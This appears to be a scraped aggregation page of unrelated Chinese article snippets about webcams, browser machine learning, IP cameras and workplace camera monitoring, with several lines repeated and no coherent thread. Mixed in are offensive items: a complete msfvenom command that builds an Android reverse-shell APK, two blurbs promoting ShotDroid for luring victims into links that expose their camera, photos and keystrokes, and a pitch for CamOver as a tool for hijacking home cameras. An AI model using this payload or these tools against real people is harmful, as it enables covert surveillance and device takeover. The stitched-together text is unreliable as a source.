TensorFlow.js是一个基于deeplearn.js构建的强大而灵活的Javascript机器学习库，它可直接在浏览器上创建深度学习模块。使用它可以在浏览器上创建CNN(卷积神经网络)、RNN(循环神经网络)等等，且可以使用终端的GPU处理能力训练这些模型。接下来我们将学习如何建立一个简单的“可学习机器”——基于 TensorFlow.js 的迁移学习图像分类器。
数月前的某个夜晚，我躺在床上时，一个念头闪过我的脑海——「如果语音是计算接口的未来，那么那些听不见或看不见的人该怎么办？」我不知道究竟是什么触发了这个想法。我自己能听、能说，周围也没有聋哑人，而且我也没有语音助手。也许是因为无数语音助理方面的文章突然出现，也许是因为各大公司争相让你选择它们的语音助手产品，或许只是因为经常在朋友的桌上看到这些设备。由于这个问题无法从记忆中消失，我知道我需要仔细考虑它。
迁移学习是将预训练模型与自定义训练数据相结合的能力。 这意味着你可以利用模型的功能并添加自己的样本，而无需从头开始创建所有内容。
迁移学习是将预训练模型与自定义训练数据相结合的能力。这意味着你可以利用模型的功能并添加自己的样本，而无需从头开始创建所有内容。
前不久有伙伴在Q群中询问用matlab调用网络摄像头的事，其实咱很久之前就分享过，由于看的人太少了就给删了。今天重新整理分享出来，本文的主角就是IP Webcam，通过它就可以轻松将智能手机转变成网络摄像头，这也是为啥将标题取为“matlab让我的旧手机起死回生”的原因。如果手中有闲置旧手机，安上IP Webcam，打开手机无线热点(无需使用数据流量和WiFi就能用，仅打开热点)，旧手机里面变成一个全能监控王。接下来就一起来看看怎么操作的吧！
上一篇文章：编译WebAssembly版本的FFmpeg（ffmpeg.wasm）：（4）ffmpeg.wasm v0.2 - 添加Libx264
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.74.129 LPORT=4444 R > /root/桌面/shell.apk
你用旧的Android手机或平板电脑做什么？该问题通常会提示三个陈旧的答案。您可以将它们换来新的购买。或者您可以在eBay上转售它们。不过，可能您只是将它们装在抽屉中作为紧急备份。
方才，我偶然发现了这样一个有趣的项目。文章作者是利用网络摄像头玩经典游戏“格斗之王”。他借助网络摄像头记录的信息、结合CNN和RNN的使用来识别踢打和拳击的动作。之后，他将模型输出的预测值翻译成游戏中用到的准确动作。这确实是一个很棒的玩儿法~
本篇文章我将介绍如何使用TensorFlow目标检测模型来玩经典FPS游戏——“反恐精英”。
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大多数摄像机不支持用作网络摄像头，因为在没有记录的情况下几分钟不活动后，电源将关闭以节省电池电量。但是，如果您的摄像机在菜单中有自动关闭 ( A.Shut Off ) 选项，则可以将其设置为关闭或从不以防止其自动关闭。如果您的摄像机没有此选项，则它不能用作网络摄像头。
NDI是目前强大的IP化视频传输技术，它不仅被广泛运用在广电行业，医疗示教，网络直播，更是被各类视频会议系统、直播系统接受吸纳，我们只需要通过一个NDI Webcam Input工具，就可将NDI视频源指派为任何支持网络摄像头的程序输入，轻松摆脱传统SDI/HDMI线缆。
点击上方“LiveVideoStack”关注我们 ▲扫描图中二维码或点击阅读原文▲ 了解音视频技术大会更多信息 🐰正月十一，开工大吉🐰 以下均为节选内容，点击相关文字即可跳转原文 “硬科技”满满，盘点2023央视春晚的元宇宙技术 据报道，2023年春晚共有5个 AR 虚拟机位，是历届春晚中最多的一年，覆盖整个演播大厅。还首次在三维索道摄像机中加入 AR 技术，力求为电视机前的观众带来更加丰富的视听感受。其中涵盖的技术包括：AR+动作捕捉、AR+虚拟制片、VR绘画+AR互动、XR虚拟场景、AR+AI
选自Medium 作者：Mike Shi 机器之心编译 参与：Pedro、刘晓坤 Tensorflow.js 是一个能在你的浏览器里运行的全新深度学习库。本文将会介绍从原生 Tiny YOLO Darknet 模型到 Keras 的转换，再到 Tensorflow.js 的转换，如何利用其作一些预测，在编写 Tensorflow.js 遇到的一些问题，以及介绍使用联网摄像头/图像轻松地进行预测检测。 项目地址：https://github.com/ModelDepot/tfjs-yolo-tiny YOL
疫情期间大家纷纷开始在家办公，不得不买个摄像头在家用。本文作者也买了一个，这也是他进入21世纪以来买的第一个摄像头。
这个是安装的脚本，简单分析一下。就是用curl这个命令行软件下载一个脚本文件，把这个文件下载以后放到以下目录，这个过程中开启静默模式，不输出任何东西。
方法一：Python+OpenCv实现树莓派数据采集，树莓派搭建服务器，PC机作为客户端实现数据传输，结果发现传输画质太差。
一.Metasploit简介： Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework，简称MSF。是一个免费、可下载的框架，通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数2000多个已知软件漏洞的专业级漏洞攻击工具。
大数据文摘出品 如果你居家工作的时候，你的公司要你打开摄像头，你会怎么办？ 美国一家公司的员工遇到了这样的情况，就选择了拒绝。 该员工随后被已【拒绝工作】和【不服从命令】的理由被解雇。 作为一个工作了一年半的老员工，他没有选择沉默，而是决定将公司告上法庭，为自己讨回公道。 该员工表示，“没有给出紧急理由来证明立即解雇的合理性”，并且认为公司要求开启他的网络摄像头是不合理的，违反了数据隐私规则。 经过法院审理，法院认为解雇合同是无效的，并且判罚这家名为Chetu的公司被判支付给该员工7.5万欧元的赔偿，折合人
来源 | https://towardsdatascience.com/real-time-age-gender-and-emotion-prediction-from-webcam-with-keras-and-opencv-bde6220d60a
在这段艰难的疫情期间，我们决定建立一个非常简单和基本的卷积神经网络(CNN)模型，使用TensorFlow与Keras库和OpenCV来检测人们是否佩戴口罩。
美国国家公路交通安全管理局估计，每年有 91,000 起车祸涉及疲劳驾驶的司机，造成约50,000 人受伤和近 800 人死亡。此外，每 24 名成年司机中就有 1 人报告在过去 30 天内在驾驶时睡着了。研究甚至发现，超过20个小时不睡觉相当于血液酒精浓度为0.08％——美国的法律规定的上限。
这个demo主要是用了navigator.getUserMedia对象。执行后开以看到声音和图像，效果不错，只是不支持IE浏览器。下个月最新的Edge应该是支持的。
Uppy 是一个流行的模块化文件上传组件，可无缝集成任何框架。 授权协议：MIT 开发语言：JavaScript HTML/CSS 操作系统：跨平台 Uppy 是一个流行的模块化文件上传组件，可无缝集成任何框架。它可从本地磁盘、Google 云端硬盘、Dropbox、Instagram、远程 URL、摄像机和其他位置提取文件，然后将其上传到最终目的地。它非常快速并且易于使用。 从本地磁盘，Google云端硬盘，Dropbox，Instagram获取文件，或使用相机捕捉和记录自拍; 用一个漂亮的界面预览和编辑
这是一个关于如何构建深度学习应用程序的教程，该应用程序可以实时识别由感兴趣的对象（在这个案例中为瓶盖）写出的字母。
很多小伙伴都不会在家里或者办公室安装网络摄像头或监视摄像头。但是有时，大家又希望能够随时随地观看视频直播。
如果你现在正在阅读这篇文章，那么你可能已经阅读了我的介绍文章（JS使用者福音：在浏览器中运行人脸识别）或者之前使用过face-api.js。如果你还没有听说过face-api.js，我建议你先阅读介绍文章再回来阅读本文。
本文首先介绍了TensorFlow.js的重要性及其组件，并介绍使用其在浏览器中构建机器学习模型的方法。然后，构建使用计算机的网络摄像头检测身体姿势的应用程序。
随着直播的兴起，一些录播视频也得到了不少人的观看，这也就引起了录播软件的疯狂下载。
你最喜欢用什么工具来编写机器学习模型？数据科学家们对这个永恒的问题会给出各种不同的答案。一些人喜欢RStudio，另一些人更喜欢Jupyter Notebooks。我绝对属于后者。
我们可以给对方生成一条链接，诱骗器打开！当期打开链接后，便可以获取对方手机的信息，如摄像头，相册文件，键盘记录等等。而利用Android肾透神器便能很方便的解决这个问题！ShotDroid
大家好，我是shadow，我长期关注技术与设计的跨领域融合。比如今天这篇文章，就是#设计黑客#的最佳实践，作者融合（mix）软硬件、人机交互的知识，探索拟人摄像头这一命题，为我们演示了proof-of-concept，验证了技术的可行性，展示了技术的创意……也许这就是创造的乐趣。
WebRTC 只是一个媒体引擎，上面有一个 JavaScript API，所以每个人都知道如何使用它（尽管浏览器实现仍然各不相同），本文对 WebRTC（网页实时通信）的相关内容进行简要介绍。
选自TowardsDataScience 作者：Léo Beaucourt 机器之心编译 参与：李诗萌、路雪 本文展示了如何使用 Docker 容器中的 TensorFlow 目标检测 API，通过网
我们可以给对方生成一条链接，诱骗器打开！当期打开链接后，便可以获取对方手机的信息，如摄像头，相册文件，键盘记录等等。 而利用Android肾透神器ShotDroid 便能很方便的解决这个问题！
根据我之前比较 WebRTC 和 Zoom 视频质量的文章，我可能需要升级我的网络摄像头。表现较好的网络摄像头价格在 80-200 美元之间。但是，我发现网络摄像头总是有点笨重，而且连线很长，除此之外，在我的笔记本电脑上找到一个免费的 USB 插头也非常麻烦，这使得我又不得不购买一个带电源的USB 集线器。
关注并星标 从此不迷路 计算机视觉研究院 公众号ID｜ComputerVisionGzq 学习群｜扫码在主页获取加入方式 今天分享的内容来自CSDN——成都_小吴，该同学撰写的一篇关于Yolov5桌面应用的开发工作，有兴趣的同学可以关注CSDN！具体文章链接：https://blog.csdn.net/qq_52859223/article/details/122982212 计算机视觉研究院专栏 作者：Edison_G 上周“计算机视觉研究院”给大家分享了一期yolov5训练干货，今天我们继续，开
Tensorflow最近发布了用于对象检测的对象检测接口（Object Detection API），能够定位和识别图像中的对象。它能够快速检测图像允许从视频帧甚至网络摄像头进行连续检测。它也可以用于构建鼠标“Tensormouse”，一个使用网络摄像移动光标的应用程序。 你是否曾经想过使用其他物品比如香蕉来移动你的光标？我们现在就可以实现！ TensorMouse是一个小型的开源Python应用程序，它允许你通过在网络摄像头前移动任意物品（如杯子，苹果或香蕉）来移动光标，他可以做电脑鼠标或触控板的替代品。
python：python3.6 摄像头：网络摄像头 Python库：openCV
树莓派外接摄像头，最常用的有两种：CSI摄像头、USB摄像头。当然网络摄像头也是可以的。
CNN 曾在 2013 年 4 月 8 日 的新闻报道中称 Shodan 是“互联网上最可怕的搜索引擎”。 甚至光是听它的名字，就让人觉得不寒而栗！ 那只是三年前对 Shodan 的描述，而三年后的今天，随着物联网的不断普及，Shodan 也将变得更加强大和可怕！ 对于那些还不了解 Shodan 的人，其实只要举个简单的例子你就会明白 Shodan 的强大。Shodan 可以搜索出，全世界任何联网的设备。例如：连网的电脑和智能手机。 如果你觉得这还不够强大！那么我还可以告诉你，它还可以找到诸如，风力涡轮机，
物联网近几年的发展非常的火热，各种智能设备的出现使得智能家居的发展越来越快。虽然发展火热，却没有统一的标准，所以智能家居监控系统需要一种稳定统一的解决方案。
【新智元导读】北京时间3月31日举行的2018 TensorFlow 开发者峰会上，TensorFlow宣布重大更新：增加支持JavaScript，并推出开源库TensorFlow.js，用户可以完全在浏览器定义、训练和运行机器学习模型。谷歌大脑负责人Jeff Dean、TensorFlow 总监 Rajat Monga等人进行了Keynote演讲。 Jeff Dean主旨演讲：用超强大的计算力，替代ML专家 北京时间3月31日举行的2018 TensorFlow 开发者峰会上，Google Brain负责
12月18日，Google 官方Quick Boot博客的发布，给我们带来了最新的Android模拟器，其中最突出的特点技术 快速启动。声称可以在 6 秒之内便可启动模拟器，在此之下，模拟器通过保存关闭之前的快照，实现数秒内便可恢复到之前的工作状态。
Matlab自身不支持直接读取摄像头数据，需要安装硬件支持包才可以获取，目前常用的有两个包：
网络摄像机相比于模拟摄像机的功能多增加了数字化压缩控制器和基于WEB管理界面的操作系统和内部时钟系统（可自行走时、也可获取外部时间作为基准），使得拍摄到的视频经处理后，通过有线网或者无线网送至终端用户显示出来或者存储。网络摄像机则需要北斗校时服务器来提供标准的时间，而用户可在PC终端或者是手机终端使用标准的客户端软件实现实时监控目标现场的情况，并可对图像及视频资料进行实时编辑和存储，同时还可以控制摄像机的云台和镜头，进行全方位地监控。
CamOver是一款功能强大的摄像头漏洞利用工具，在该工具的帮助下，广大研究人员可以轻松破解掉你家网络摄像头的管理员密码，并接管你的摄像头。
萧箫 发自 凹非寺 量子位 | 公众号 QbitAI 监控电脑屏幕还不够，必须在工作期间全程打开摄像头？ 要是不这么做，就会被直接解雇，甚至连原因都不告诉你。 这是一名员工在远程办公期间的遭遇。 要知道，他已经在这家公司勤勤恳恳工作一年半，公司在解雇他时却连提前通知都没有，甚至在合同中还安排了一个竞业协议。 如今，他不服并上诉到法院，最终获得75000欧元（约合人民币52万元）的赔偿，同时法院还宣判对应的竞业协议无效。 事情发酵到网上后，立刻引起了网友的热议。 有网友锐评公司的做法：如果你需要一个摄像头随
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